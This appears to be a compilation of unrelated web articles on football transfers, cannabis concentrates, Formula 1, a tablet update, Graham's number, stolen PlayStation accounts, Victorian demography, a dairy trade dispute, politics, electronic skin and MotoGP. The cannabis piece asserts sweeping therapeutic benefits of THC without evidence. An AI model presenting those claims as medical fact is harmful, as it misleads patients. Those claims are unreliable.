And the Anfield club are set to further boost their ranks - by concluding the £8.5m signing of striker Loic Remy over the weekend.
VIDEO Scroll down to watch Dejan Lovren enjoying his holiday during transfer row
New man: Dejan Lovren is on the brink of signing for Liverpool for £20million from Southamption
Resting: The Croatian defender (left) will become the most expensive defender in Liverpool's history
LIVERPOOL'S MOST EXPENSIVE DEFENDERS Mamadou Sakho - £18million (from PSG) Glen Johnson - £18million (from Portsmouth) Tiago Ilroi - £8million (from Sporting Lisbon) Andrea Dossena - £8million (from Udinese) Martin Skrtel - £6million (from Zenit)
Liverpool have refused to comment about where they stand on Lovren but it is expected he will complete a medical on Saturday, which will most likely be staged on Merseyside.
He is unlikely to join up with his new team-mates on their tour of the United States.
Lovren’s fee will outstrip the £18million paid for Mamadou Sakho (2013) and Glen Johnson (2009) but, more than anything, it will give Rodgers the commanding central defender he has been looking for since Liverpool conceded 51 goals in the Barclays Premier League last season.
The defender played all three matches for Croatia during the World Cup group stages.
He made 32 appearances for Southampton last season, scoring three goals.
Loic Remy’s protracted £8.5million move from Queens Park Rangers should also be finally made official over the weekend.
The Frenchman completed his medical in Boston but the announcement has been delayed owing to administrative issues. |
As we know, recent years have brought about an increased interest in dabbing and cannabis concentrates. The benefits of cannabis extracts have been well-documented for a number of ailments and essential oil vaporizers are well on their way to becoming a must-have accessory for medical marijuana patients and the adult-use market alike.
Of course, much of the increased interest in cannabis concentrates stems from two obvious benefits: purity and potency. Theoretically, eliminating vegetative plant matter from the equation assures patients that they are receiving the most direct benefits the cannabis plant can offer.
The problem with this equation is that a number of extracts found today are lab-tested with concentrations of tetrahydrocannabinol (THC) as high as 90%, which doesn’t leave much room for the other constituents of cannabis – cannabidiol (CBD), tetrahydrocannabivarin (THCV), cannabigerol (CBG), etc.
This is not to say that anything is inherently bad with THC; it has been found to benefit those grappling with cancer, depression, heart attacks, and much, much more. Still, the full range of therapeutic benefits of cannabis stem from the broad spectrum of cannabinoids and terpenes found within.
Broad Spectrum Whole-Plant Cannabis Extracts On The Rise
There are a number of reasons for certain cannabis concentrates testing so high in tetrahydrocannabinol (THC). Surely, decades of cannabis prohibition have created a daunting task for those who wish to research the plant and all that it could offer.
“A number of breeding projects have turned their focus to the production of effective strains with a unique terpene profile and little-to-no psychoactivity.”
In turn, selective breeding efforts have long been focused on plants with high concentrations of THC, the most popular cannabinoid up until recently.
Increased awareness about cannabidiol (CBD), terpenoids, and the other constituents within cannabis has seemingly spawned a new wave within the cannabis industry. A number of breeding projects have turned their focus to the production of effective strains with a unique terpene profile and little-to-no psychoactivity.
Couple this with the cannabis extract movement and we’re beginning to find more concentrates with a broad-spectrum of cannabinoid profile. More medical marijuana providers are processing 100% of their harvests into concentrates, while some hash makers have moved on to greener pastures with more control over their source material as well.
Whole-Plant Cannabis Extracts Become The Gold Standard
In fact, entire greenhouses are being built to accommodate the growing demand. Case and point: OG – a joint venture between Denver Relief, Essential Extracts, and TC Labs with plans to dedicate their greenhouse in Colorado to the production of quality extracts.
Of course, there are still concentrate makers who are only able to work with the material provided by their local collective – usually secondhand trim. It should go without saying that this sort of quality standard will not be a sustainable business model as patients become more knowledgeable about their concentrates.
Ethically speaking, it is near criminal to offer medical marijuana patients BHO (butane honey oil) that has been made from their trimmings just for some extra cash. Processing the whole-plant (flowers and trim) is sure to bring superior results each time.
For proof of this, look no further than Boo Boo’s Bubble. The California-based ice water extraction (aka bubble hash) company built a reputation for itself last year behind success at the NorCal Secret Cup and The Emerald Cup, where they took first and second place in the same category.
Patients are reporting incredible success stories from whole-plant extracts as well. In addition to juicing raw cannabis, these patients typically use whole-plant concentrates in the form of RSO, tinctures, solvent-less wax, and more. |
While his future looked certain at Williams, Lance Stroll could be on his way to Force India through a sponsorship deal with the team.
Lance Stroll has become the latest driver to be linked to a team switch for 2018, with his name being dropped into the hat of the F1 silly season. Stroll originally looked set to remain at Williams for a second season, however, his future is now in question at the Grove-based team since Italiaracing linked Stroll’s father, Lawrence, to Force India.
Lance Stroll could move to Force India through sponsorship deal
At the end of 2017, it is looking more and more likely that Force India will change its name in an attempt to make itself a more internationally appealing brand to attract more sponsors while Vijay Mallya and Subrata Roy are still dealing with serious legal issues.
Mallya believes that with greater finances, Force India will be able to take the fight to F1’s top three teams of Mercedes, Ferrari and Red Bull Racing, and be involved in the fight at the front of the grid more often. “With a little bit more in our pocket we can make that incremental step and certainly fight in the top three consistently,” he said.
Lawrence Stroll is being linked to a major sponsorship deal with Force India, and it is possible that if Stroll does buy into the team, that his son could move there in the future.
Lance Stroll graduated from European Formula 3 to Formula 1 this year, and it took a while for the young Canadian to get up to speed. At the Canadian Grand Prix however, Stroll had a break though weekend and secured his first points finish in F1. Since then, he has continued to impress, finishing inside the points in Austria and impressively finishing on the podium in Azerbaijan, although he most recently had underwhelming performances in Britain and Hungary
Stroll’s podium was one of Chase Carey’s favourite moments of 2017 so far, saying to Auto Bild that “In sport, it’s a great story when an underdog suddenly has success.”
“Stroll had to listen to all that criticism for months, and everything about his father’s money as well, and then he did his reply on the track in Baku. I would like to see more of that,” he added.
With Sergio Perez looking set to remain at Force India for 2018 and it being likely that Esteban Ocon will stay for another season, it is hard to imagine that Stroll could join Force India in the coming months, especially due to the team’s current driver pairing which is arguably one of the strongest in F1.
Main Photo
Embed from Getty Images |
Well, we didn’t see this coming today. Jelly Bean is coming to Verizon’s Motorola XOOM 4G LTE. Soak test invites are currently rolling out to those enrolled in Motorola’s feedback program, so this means we will soon see a larger roll out of the update to everyone who still owns the OG Android tablet. To clarify, this version of Jelly Bean is probably the 4.1 build and not the 4.2, which even Google has stated won’t come for the device.
Here is the invite being sent to owners.
Hi, Thanks for joining the Motorola Feedback Network. We are inviting owners of the Motorola Xoom on Verizon to participate in an early preview of a new Jelly Bean software release, and provide feedback. If you are not currently using a Verizon Xoom, please excuse and ignore this email. Click this link “link retracted” to take the enrollment survey if you wish to take part. Note that you must be a member in good standing of the Motorola Owners’ Forums to be included. The registration window could close without notice so please respond as quickly as possible. This is a confidential test under the terms of the Motorola Feedback Network. Do not post any details or information about this on any public sites. Thanks — please understand that start times are always fluid. We ask for your patience if you register but don’t hear from us right away. Matt
Motorola Owners’ Forums
Motorola Feedback Network
Who here is still rocking the XOOM?
Cheers M and J! |
I was going to write an April Fool's Day post with the title "Mathematicians Declare Graham's Number Equal to Infinity." Graham's number is really big, but of course, it's precisely 0% as big as infinity. On the other hand, everything we touch is finite, so in some sense, Graham's number is probably "close enough" to infinity for doing most math. I didn't end up writing that post because Graham's number is too big for the post to be funny.
For example, here's one of the paragraphs I would have written:
"The decision to round Graham's number up to infinity promises to simplify the proof of the twin prime and Goldbach conjectures as well as other longstanding number theory problems: now they can be proved by checking the finite number of remaining cases."
But this is where I got stuck. I wanted to tell you how many cases might be left to check for one of these number theory problems. Goldbach's conjecture, which states that every even integer is the sum of two primes, is known to be true for numbers up to 1018. But Graham's number minus 1018 is basically equal to Graham's number. For all practical purposes, we're 0% of the way to checking that the Goldbach conjecture is true for numbers up to Graham's number.
Here is where I should tell you how big Graham's number is. But I can't.
Sometimes when we talk about big numbers, we talk about how many digits they have or, basically equivalently, write them in scientific notation involving some power of 10. A googol, for example, is 10^100, which has 101 digits. The largest known prime number has over 17 million digits. A googolplex is 10 raised to the googol power, so it has approximately a googol digits. It takes a while to write down a 1 followed by 100 zeroes, but we can do it.
But Graham's number is different. I can't tell you how many digits it has. I also can't tell you how many digits its number of digits has, or how many digits the number of digits of its number of digits has. They're all too big.
A couple years ago, Numberphile made a nice video on Graham's number. The good folks in the video run into some of the same problems I did comprehending how big the number is.
The only way to describe Graham's number involves some dense "up-arrow" notation. The Wikipedia page on the notation is a good resource if you'd like to read more.
Up-arrow notation is an extension of exponentiation. In the same way that exponentiation is iterated multiplication (and is denoted by one up-arrow), two up-arrows denotes iterated exponentiation, three up-arrows denotes iterated iterated exponentiation, and so on.
More concretely, a↑b is the usual exponential notation, ab=a×a×a.., for a total of b copies of a multiplied together. Adding a second arrow, so we have a↑↑b, means we take b copies of a in a tower of exponentials. An example is worth a thousand words: 4↑↑3=444. When we add yet another arrow, a↑↑↑b means "make b copies of a↑↑." So 4↑↑↑3 means we do 4↑↑(4↑↑4). (There are three copies of the number 4, separated by the ↑↑ symbol.) The thing inside the parentheses is 4444, and then we raise 4 to the 4th power that many times. I can't say much about that number because 4444 has 8×10153 digits, and we have to make a tower with that many powers of 4 in it.*
The important thing about up arrows is that they grow mind-bogglingly quickly. Exponentiation grows much more quickly than multiplication. 2×10 is just 20, but 2^10=1024. In the same way, each level of up-arrows grows much more quickly than the level before.
We can describe Graham's number with an enormous stack of these up-arrows.
It's easiest to think of this as an iterative process. We start at the bottom with g 1 =3↑↑↑↑3 and then creating the second row (call it g 2 ) by having two threes separated by g 1 up-arrows. Then g 3 is two threes separated by g 2 up-arrows, and so on, until g 64 is Graham's number. The only one of these numbers that I can hope to describe a little bit is g 1 =3↑↑↑↑3. Peeling the onion of up-arrow notation, we have 3↑↑↑↑3=3↑↑↑(3↑↑↑3). So far so good. The thing in parentheses, 3↑↑↑3, is 3↑↑(3↑↑3), which is a stack of over 7.5 trillion 3s.* So to get g 1 , we have to do "↑↑" to 3 over 7.5 trillion times. It boggles the mind! Check out Wikipedia if you'd like to see some more details about the magnitude of g 1 . (Warning: your brain might explode.) I can't even describe how large the first layer is, and each layer grows much more quickly than the last. The final number is totally beyond comprehension.
The origin of Graham's number is one of those slightly legendary math stories. In 1977, Martin Gardner wrote, "In an unpublished proof, [mathematician Ronald] Graham has recently established ... a bound so vast that it holds the record for the largest number ever used in a serious mathematical proof." Graham had worked on a fairly complicated question about combinatorics. But Graham's number doesn't actually appear in the published proof of his result. The number he used was quite a bit smaller. In a Google+ post, John Baez describes both the combinatorics problem Graham was working on and where the number came from. He writes,
"I asked Graham. And the answer was interesting. He said he made up Graham's number when talking to Martin Gardner! Why? Because it was simpler to explain than his actual upper bound - and bigger, so it's still an upper bound!"
*These sentences were changed after publication to correct numerical errors. Thanks to Mike for pointing it out! |
Lawyers have already been contacted
When I start looking into a story that I know will go much longer than my average Destructoid news post, I like to get as hands-on as possible. I don't just want to read a bunch of other articles about the subject in question; I want to talk to people involved with the story, and (if possible) get my hands a little dirty.
In this particular case, there's a lot of dirt on my hands. I may have accidentally committed some...light theft.
Earlier this month, Destructoid received a tip from a source [who we will refer to as 'Tim'] claiming they had unknowingly purchased a stolen PlayStation Network account via G2A.com. For those unaware, G2A is a Hong Kong-based site that primarily sells third-party keys and even accounts. (Some of you may remember G2A from this story about stolen Far Cry 4 keys.) Although G2A is itself a third-party seller, it also acts as a platform for individual sellers and buyers to conduct transactions. One such transaction resulted in the sale of an account belonging to a man [who we will refer to as 'Eric'].
When an account sale is on the up-and-up, the account will be nigh-barren, apart from the advertised game. There's some mojo you can perform that will allow you to play this game on your console via your main account (which I won't recount here, because it kinda makes sense and I don't want any of you thinking this is a good idea). Of course, there are examples of people just selling their stacked account in the hopes of making some extra cash; buy a bunch of popular games on sale, flip the account for more than the games are worth. Or, hey, you've just sold your PS4 in a fit of rage, why not sell that account full of platinum Trophies too while you're at it? There are too many hypotheticals in play. When you buy an account, there's a 50% chance you've just committed a crime.
Unless you sign in and find a bunch of credit cards and a still-active PlayStation Plus membership. This was Tim's red flag, and he immediately contacted the seller (who refunded the transaction without a word) and Eric, who took back control of his account.
"I got this account, expecting some garbled random email address and password, but the email address was just some dude's name. I kind of raised an eyebrow at that, but thinking the email address might belong to the person who bought the code to sell, I tried it out, and... it was genuinely just some guy's account," Tim said in an email to Destructoid.
This is exactly what happened to me. I wanted to get a feel for the account-buying process, so I went looking for popular big-budget video games (reasoning that more people would be selling those as opposed to an account made specifically for Race the Sun or whatever) before eventually settling on a listing for Metal Gear Solid V: The Phantom Pain. I received an account that was as generic as they come. No name, no credit cards, no friends, no Trophies...and a copy of Ground Zeroes.
Initially, I thought I had found a legit seller that had just made a mistake. That was ostensibly the end of my little experiment, so I went to the seller looking to get a refund. The seller was very insistent that I take a new key instead...which eschewed the generic email and password for a significantly less generic one. Again, much like Tim, I raised an eyebrow at this. But I logged in anyway, reasoning that I would either return the account and save a person from identity theft -- or, if this was an honest transaction, end up with an account that I could just gift to a friend.
This account was very much someone else's, which is where the "light theft" part comes in.
Nate Martin (his real name!) is the CEO of Puzzle Break, an Escape the Room venue located in Seattle. I know his address and the last four digits of two of his credit cards, thanks to the purchase I made through G2A. Again, luckily for Nate, I had zero intent of holding onto another person's account, so that information remains safe with me. But there's no telling what could've happened if Nate's account ended up in the wrong hands. And he has zero idea how his password ended up in my hands.
"I couldn't begin to guess how it happened. I'm guessing it was that mass hack a while back I vaguely remember hearing about. No other accounts of mine (that I'm aware of) seem to be compromised," Nate told us. "I have not much in the way of free time. I'm not super interested in throwing myself against a byzantine [interactive voice response; the telephone robots that ask you if you meant 'billing' when you said 'operator'] that I'm sure Sony has in exchange for a gift card."
Eric, the man whose account sparked this whole investigation, said it took "over an hour" to prove his identity to Sony. "I would say Friday I went to my PS4 and was unable to do anything with the system. About two minutes after that, I received three emails from Sony stating that my PayPal had been removed and my passwords had changed, along with my first and last name being changed as well." Sony did not respond to request for comment.
It appears the modus operandi changes between scammers. According to Nate, the hacker didn't change his password. I was going to make sure the account belonged to him before I gave him what I assumed was a new password set by the seller, but it turns out Nate knew it off the top of his head.
So how does the law work in this particular case? For the purposes of this article, we'll be working with California penal codes -- code 496 in particular. Obviously, a person who knowingly receives stolen property (with the intent of withholding it from the owner), will be charged with either a felony or misdemeanor. In the case of both Tim and myself, returning the account means we're off the hook, and the person who stole the account in the hopes of selling it is definitely 100% a criminal.
I was curious if PSN accounts having no basis in the physical world meant something regarding the legality of this transaction. For this story, I talked to New York City-based lawyer Harvey Lippman about selling accounts that don't belong to you, on the off chance there was some crazy loophole that made all of this legal. According to Harvey, that is absolutely not the case.
"From what I've read, a lot of this stuff is evolving. There are some newer laws being written," Harvey said in a phone interview. From a lawyer's perspective, he likened it to the theft of a movie ticket. "You don't own the film, but that ticket gives you the right to watch it." That license constitutes "property," and is thus subject to stolen property laws.
The next question we have to ask is the placement of G2A in this whole situation. Unless G2A knew for sure that something was up, Harvey says the site is not liable. "Absent some kind of negligence of knowledge, the site is not liable -- unless there is a statute saying they have a duty."
Well, the site's Terms of Service states that "G2A.COM is neither a party to the agreement between the User and the Seller, nor between the Selling User and the User, nor between Sellers -- it merely provides specific assistance and administration services to the Sellers and the Users." The site claims it is the thirdest of parties, but let's dig into that claim a little bit.
Going back to penal code 496, in the case of "every swap meet vendor and every person whose principal business is dealing in, or collecting, merchandise or personal property, and every agent, employee, or representative of that person," third-party sellers have a duty to make sure the product is not stolen. So, in this particular case, based on G2A's Terms of Service, the site defines the seller as a second third-party; G2A is more like the person who owns the parking lot where the illegal swap meet happened.
As if that wasn't enough, the site that sold me the stolen account also claims to be a third-party, having purchased the code from a seller on Taobao -- a Chinese e-commerce site owned by Alibaba. Yes, that Alibaba. Last we saw, the company was working on a credit system with the Chinese government. Somebody buy me a corkboard, some red yarn, and some thumbtacks.
According to a source inside G2A, the company is currently investigating both my case and Tim's. "Sellers of PSN accounts (or any other digital product present on our marketplace) are under supervision of our Customer Experience specialists. Our specialists react every time when there is even a shadow of doubt as to any credibility and trustworthiness. In such cases of an invalid product, sellers are banned and the customers refunded promptly," our source said in an email to Destructoid.
Researching this story was like trying to escape from Alcatraz with only a nail file. The deeper I got, the more I hoped to find some measure of closure -- a feeling that never came. I only had to stop reporting on this because at some point, you just have to publish what you've got. We're still waiting on emails from G2A, the organization that sold me the stolen account, and (hopefully) Sony. Taobao was a dead end, because I don't speak a lick of Chinese, and even then I doubt the seller in question would confess to a reporter. At best, I would get another deflection.
I can't promise you an ending, at least one that provides a sense of finality. I don't know who stole either account, and nobody's owning up to the deed. All I can tell you is that I've left this experience less trusting of my fellow man. Keep your information safe, gang.
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When Britain abandoned any pretense of raising all the basic foods its people needed, its population was growing so rapidly that self-sufficiency was no longer possible. The number of inhabitants in England and Wales more than tripled during the nineteenth century, from about 9 million in 1800 to 32.5 million in 1900.
Some demographers have attributed this population explosion not to a higher birth rate but to the lowered death rate resulting from the improved food and sanitation—especially cheap, washable cotton materials—brought by industrialism. Others claim that the population increase in the first half of the century may be attributed to the rural areas and not to the cities, which had a much higher death rate.
A similar controversy is focused on the extent to which the industrial revolution improved the standard of living not just of the new capitalist and managerial classes but of the workers themselves. After about 1820 the purchasing power of the workers seems to have grown very gradually, as more and cheaper goods became available.
Opportunities for steady, regular employment also grew, as did chances for laborers to climb up the economic ladder by mastering a skill and getting a better-paying job. But all these factors varied in their effect from industry to industry and from one locality to another; they also fluctuated with the ups and downs of the economic cycle. Many people, consequently, appear to have found that their standard of living was declining.
There is little debate about the truly revolutionary changes industrialism caused in the structure and distribution of the population. Wherever mines and factories were opened, towns and cities appeared. The growth of an urban population increased the numbers and influence of business people and workers. Industrialists, bankers, investors, managers, and promoters of every sort joined the already established capitalists to form the modern middle class, or bourgeoisie. Mill hands, railway workers, miners, some artisans, clerks, and a host of other recruits swelled the ranks of wage-earning workers.
The impact of capital and labor upon the life of industrial nations was becoming increasingly evident by the middle of the nineteenth century. Some of the signs pointed to steady material progress—better food and the conquest of distance by the railroad, the steamship, and the telegraph. Other signs, however, foretold serious dislocation and violent change. The repeal of the Corn Laws buried an old agrarian way of life in Britain, and the collapse of the French railroad boom in the late 1840s suggested that economic slumps in an industrial society might have alarming consequences, for the hundreds of thousands thrown out of work aggravated the political unrest that culminated in the June Days of 1848 in Paris.
The remarkable rise of population tested the earth’s resources and environment even before people thought in these terms. Perhaps ten thousand years ago the total population of the globe was under 10 million. By 1750, when the modern rise was beginning, the figure was 750 million. By 1930 it was 2 billion, and only forty-five years later, in 1975, it was double that. Thus, human population expanded to reach its first thousand million over hundreds of thousands of years; the second thousand million was added in a single century; the third in only thirty years, and the fourth in only fifteen.
This uncontrollable explosion in population, with its untold impact on the planet’s resources, was made evident in the nineteenth century as people flocked to the cities, which grew far more rapidly than sanitation, police, or education could provide for, creating teeming slums that bred disease, crime, and discontent. Population growth in England and Wales was even more striking than the above figures indicate, as England, and later Belgium, became the most crowded nations in the West; indeed, as early as 1600 England had reached a population density that the United States would not reach until 1961. In the midst of the industrial revolution, however, fewer people worried about overpopulation than rejoiced in the growth of the labor force and the increase in potential consumers.
While population increased in many societies, the growing acceptance of contraceptive methods in postrevolutionary France and a rise in abortions, despite church opposition to both practices, contributed to a decline in the French birth rate. The death rate had declined in France from about 1800; after 1870 both the death and birth rates declined in England and Wales. Birth rates were related in part to marriage rates, which were related to economic circumstances; as real wages increased, so did marriage rates.
In Ireland postponement of marriage was increasingly common, reducing the total number of children a woman might bear in her lifetime. By modern standards the mortality rate remained very high in the first half of the century, largely owing to infectious disease. While families grew larger in Victorian times because the comfortable middle class could afford to clothe, house, and educate larger families, mortality also increased with increasing family size. Many wives died in childbirth, and men frequently had a succession of children by two or three wives.
Overall mortality rates declined throughout Europe, especially after 1850. This was due in good measure to a decline in certain communicable diseases, as scientific research found both causes and cures. Murder, infanticide, and death in war remained commonplace, but starvation was slowly reduced as a cause of death, as greater agricultural productivity, better nutrition, and more rapid movement of foodstuffs from area of production to area of need reduced it to a local phenomenon in the West.
Certain airborne diseases increased—bronchitis, pneumonia, influenza—as people lived and worked closer together, and by 1901 the death rate was higher than in 1854. Some diseases were reduced marginally, despite crowded conditions, as medicine developed means of combating them; measles, whooping cough, and scarlet fever remained common occurrences in childhood but did not normally lead to death, as they once had done.
The death rate from tuberculosis, diphtheria, and small pox was cut drastically. Thus an English death rate in 1700 of thirty persons per thousand was reduced most dramatically by bringing infectious diseases under control. Deaths from industrial accidents, war, localized famine, and physical attack remained relatively high, however.
The expectation of the enjoyment of good health, also increased in the industrial society. Purification of water and efficient disposal of sewage (both requiring public measures, usually by municipalities) helped reduce the incidence of typhus. So did better hygiene—for example, in the introduction of the water closet, or flush toilet; more frequent bathing as water became more readily available; and cleaner bedding.
The condition of food improved, though milk—important to childhood diets— remained unpasteurized until after 1900. Because surgery was increasingly performed in well-equipped hospitals with antiseptics and effective anesthesia, especially after the introduction of ether in 1846, certain medical problems no longer led to death—except on the battlefield, where far more soldiers died of disease and infection after surgery than from their wounds.
From the time of Hippocrates to the nineteenth century, few significant new drugs had been developed, and often treatment for a specific disease was totally wrong according to present-day medical knowledge. For example, sufferers from malaria were subjected to leeching (the drawing of blood from the body by bloodsucking leeches), which caused dehydration at a time when their bodies needed all their strength and an increase in liquids.
But the kind of research on a mass basis that it is possible to conduct only on the battlefield or in a hospital led first to the isolation of infectious patients in separate hospital wards after 1875, and then to specific studies of specific diseases. While some diseases increased, notably cancer, the chances of surviving to die of old age were materially greater at the end of the century than at the beginning. However, since access to such improvements in health often depended upon the ability to pay, death rates varied substantially according to class. |
U.S. President Donald Trump launched a scathing attack against the Canadian dairy industry on Tuesday, as he tried to push his America First agenda during a speech in Wisconsin.
Trump’s remarks were made over a growing trade dispute between Canada and the U.S. over the dairy products: specifically ultra-filtered milk, a product which allows for greater efficiency in cheese-making.
After years of American farmers sending their ultra-filtered milk north of the border without being subject to tariffs, Ontario dairy farmers agreed last year to sell ultra-filtered milk to Canadian processors, such as Saputo Inc. and Parmalat Canada Inc., at prices competitive with international rates. Other provinces soon followed suit.
READ MORE: Donald Trump takes aim at Canada’s dairy industry
Most dairy products sent to Canada are subject to heavy tariffs, but ultra-filtered milk from the U.S. wasn’t subject to those tariffs because it came into use after NAFTA was approved in 1994.
The move by Canadian producers has cost U.S. farms upwards of US$150 million, according to a report from the Washington Post.
Trump has recently been contacted by the governors of both Wisconsin and New York, as well as several U.S dairy production boards, who want him to urge Canadian Prime Minister Justin Trudeau to do away with the pricing policy.
WATCH:President Donald Trump has signed an executive order that reinforces existing law to make certain federal dollars give priority to American-made goods.
The letter asked the U.S. President to push the matter to the World Trade Organization if the Canadian pricing continues.
“What’s happened to you is very unfair,” Trump said Tuesday. “It’s another very typical one-sided deal against the United States and its not going to be happening for very long.”
Canadian ambassador to the U.S. David McNaughton issued a response Tuesday evening. He issued a letter to to the U.S. governors countering their concerns by saying that dairy trade between the two countries favours the U.S. by a factor of 5 to 1.
He also pointed out that “Canada’s dairy industry is less protectionist than the U.S., which has employed technical barriers to keep Canadian dairy out of the U.S. market.”
He also said the U.S. is simply producing too much milk for a glutted world market and needs to manage their own supply better.
“Canada imports 6.3 per cent of its cheese, 10 per cent of its butter and 10 per cent of its milk powders, while the U.S. imports 3 per cent of its cheese, 3 per cent of its butter and 8 per cent of its milk powder, noticeably less than than Canadian imports.”
The issue came to a head a couple of weeks ago when Grassland Dairy Products notified at least 70 farms that it is cancelling their contracts as of May 1 because it has lost its business in Canada, according to the Milwaukee Journal-Sentinel.
“The reality is that Canadian provinces, starting last year with Ontario and now extending across the nation, are implementing what they call a ‘national ingredients strategy.’ This lowers the cost for processors to buy Canadian-made milk ingredients, undercutting the sales previously made by Grassland and other companies to Canada,” Chris Galen, a senior vice-president at the National Milk Producers Federation based in Arlington, Va., recently told the newspaper.
He acknowledged that Canada was not placing any tariffs on U.S. products but rather changing its pricing structure.
READ MORE: With new executive order, Trump could weaken NAFTA before he ‘tweaks’ it
The Canadian counterargument is pretty simple. Canadian producers say the Americans are overproducing milk for an already glutted world market.
“To use a phrase that has recently come out of the U.S., Wisconsin farmers are using ‘alternative facts,’” Isabelle Bouchard, the director of communications and government relations at the industry group Dairy Farmers of Canada, told the Washington Post. “The Wisconsin people are trying to find an enemy — when in reality, the problem they have is that they’re overproducing.”
Backing Bouchard’s claim is a report titled “Situation and Outlook for the U.S. Dairy Industry” which was produced by the U.S. Department of Agriculture.
The report says, “The U.S. dairy industry produced record levels of milk in 2016 (212.4-billion pounds) but at the same time has been seeing a decrease in exports.”
At the same time, it also notes that demand for exports has diminished due to the strength of the U.S. dollar and decreased demand from certain importer nations, including China.
— With files from Reuters and the Canadian Press |
The woman who married former House Speaker Newt Gingrich after cheating with him while he was married to his second wife says that former CIA Director David Petraeus’ extramarital affair is “sad” and “painful” for his family.
“I think it’s personally very sad for he and his family,” Callista Gingrich told ABC’s Barbara Walters on Monday. “I think he did the right thing by resigning. But this is painful and they’ll have to work together through this as a family. And that will take some time.”
The former House Speaker pointed out that Petraeus would have been in an “impossible situation” if he had tried to stay on as director of the CIA.
“This man served 37 years,” he pointed out. “We need to remember, he was the key to winning in Iraq. If he had not turned around the surge, we would have literally lost the war. He was the key to giving a fighting chance in Afghanistan. He is a brilliant, very hard-working person. And I hope he and his family can work through this.”
Newt Gingrich’s second wife, Marianne, revealed to Esquire in 2010 how the former speaker had presented his first wife with the terms of their divorce while she was in the hospital recovering from surgery for uterine cancer in 1980.
Rumors about Gingrich’s fondness for oral sex with other women have circulated for some time. A 1995 Vanity Fair profile explained how Anne Manning had claimed she had been intimate with him.
In 1999, over the Mother’s Day weekend and on the same day his second wife had been diagnosed with multiple sclerosis, Gingrich informed her he had found someone else.
In fact, he had reportedly been having an affair with Callista Bisek for six years.
Gingrich divorced his second wife in 2000 and married Callista that same year.
In 2011, the then-Republican presidential candidate suggested to CBN’s David Brody that he had strayed from his marriages because he felt so “passionately” about the country.
“There’s no question at times of my life, partially driven by how passionately I felt about this country, that I worked far too hard and things happened in my life that were not appropriate,” he explained.
Watch this video from ABC’s The View, broadcast Nov. 12, 2012. |
The human hand has 17,000 touch sensors that help us pick things up and connect us to the physical world. A prosthetic hand or foot has no feeling at all.
Zhenan Bao hopes to change that by wrapping prosthetics with electronic skin that can sense pressure, heal when cut, and process sensory data. It’s a critical step toward prosthetics that one day could be wired to the nervous system to deliver a sense of touch. Even before that is possible, soft yet grippy electronic skin would let amputees and burn victims do more everyday tasks like picking up delicate objects—and possibly help alleviate phantom-limb pain.
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To mimic and in some ways surpass the capabilities of the skin on human hands, Bao is rethinking what an electronic material can be. Electronic skin should be not only sensitive to pressure but also lightweight, durable, stretchy, pliable, and self-healing, just like real skin. It should also be relatively inexpensive to manufacture in large sheets for wrapping around prosthetics. Traditional electronic materials are none of these things.
Bao (an MIT Technology Review Innovator Under 35 in 2003) has been working on electronic skin since 2010. She has had to create new chemical recipes for every electronic component, replacing rigid materials like silicon with flexible organic molecules, polymers, and nanomaterials.
Slideshow: A researcher makes a transistor on a stretchy rubber material that acts like a sticker. As the rubber is peeled from the glass, it picks up a layer of semiconducting carbon nanotubes that will form the active area of the electronic switch. Slideshow: A slide is coated with an insulating material that will help turn the stretchy transistor off. Inside this machine, a small platform will spin the slide to make a thin, smooth film. Slideshow: This stretchy transistor is made of carbon nanotubes, electronic polymers, and silver-nanoparticle ink. It could be used in circuits that process data from touch sensors.
Zhenan Bao
Bao’s group uses stretchy rubber materials that are similar to human skin in the way they give and recover. Sometimes her team mixes electronic materials into the rubber; other times they build on top of it. To make a touch sensor, researchers mix in carbon that is electrically conductive. The voltage across this conductive rubber sheet changes when the material is pressed. Bao’s group found that covering these touch sensors with a pattern of microscale pyramids improves their touch sensitivity—much as the whorls of our fingerprints do. Depending on the design, these sensors can be made at least as sensitive as the skin on our hands. Her group also prints transistors, electrical leads, and other components on the rubbery skins to make stretchy circuits that could process data from touch sensors on a prosthetic hand.
On left, an airbrush loaded with silver-nanoparticle ink can be used to print electrical contacts and wires through a stencil.
On right, Through a microscope, tiny pyramids on a touch sensor are visible. These 50-micrometer-wide features improve sensitivity, just like the ridges of our fingerprints.
Each fingertip on this wooden display hand is fitted with a stretchy touch sensor connected to electrical leads that carry data to a flexible electronic control center on the palm.
Now Bao is working on weirder materials. One polymer she developed is much stretchier than human skin: it can be pulled to 100 times its normal length without breaking. This material also heals when cut, without any heat or other trigger. And it can act as a weak artificial muscle, expanding and contracting when an electric field is applied.
Slideshow: This material mimics two important features of human skin: the ability to stretch and wrinkle, and to heal. Slideshow: A researcher cuts the rubbery material in two. Slideshow: Less than a minute after the cut pieces are put back together, they’ve rejoined. Slideshow: The healed material can be stretched much more than human skin can be without breaking.
With the basic materials and designs in place, she’s working on semiconductors and other electronic materials that have the same healing and stretching prowess. But reinventing the electronic materials won’t be enough: data from these artificial skins has to be delivered to the nervous system in a format that the body can understand. Bao’s group is now working on circuit designs that will send signals to the nervous system, so that electronic skins will one day not only help amputees regain dexterity but also let them feel the touch of their loved ones. |
High-performance MotoGP engines create a lot of negative torque on the overrun. It is the EBC’s job to control how much gets to the rear wheel
If you’ve been into MotoGP since the early days of 990cc four-strokes you will surely remember watching in delight as a rider braked hard with the rear wheel slewing this way and that, before flopping the bike into a corner.
These were the infant days of engine-braking control (EBC), when the hardware and software weren’t clever enough to reduce negative torque on the overrun, so the engine locked the rear wheel. The riders were left to cope with the consequences as best they could.
Over the next few years engine-braking control software improved dramatically, because generally the fastest way into a corner isn’t sideways, with the rear tyre hopping left and right – even if it looks great. All riders need some engine-braking to help them slow for a corner, but exactly how much depends on individual technique. Jorge Lorenzo likes to enter corners with both wheels perfectly in line, although someone like Marc Marquez prefers the rear wheel skewed just an inch or so out of line to aid turn-in. None of them want too much engine-braking for their riding style.
Engine-braking control works by starving cylinders of fuel and playing with the throttle butterflies to provide just the right amount of negative torque, according to each rider’s needs. In the pre-unified software era the software was very trick, allowing management of individual throttle butterflies, but Dorna’s Magneti Marelli unified software is much more basic.
The toughest era for engine-braking control was a few years ago, when MotoGP regulations reduced fuel capacity to a ridiculously mean 20 litres. Engineers had to save fuel wherever they could to finish the race without having to reduce horsepower, so the obvious place to save fuel was during corner entry.
In their desperate efforts to save every last drop of fuel engineers often shut down too many cylinders, which might lock the rear wheel too aggressively and hurl the rider to the ground. Many bikes were trashed and many bones broken, all to save a few millilitres of fuel. Last year MotoGP fuel capacity was increased to 24 litres, so engineers no longer need worry so much about saving fuel.
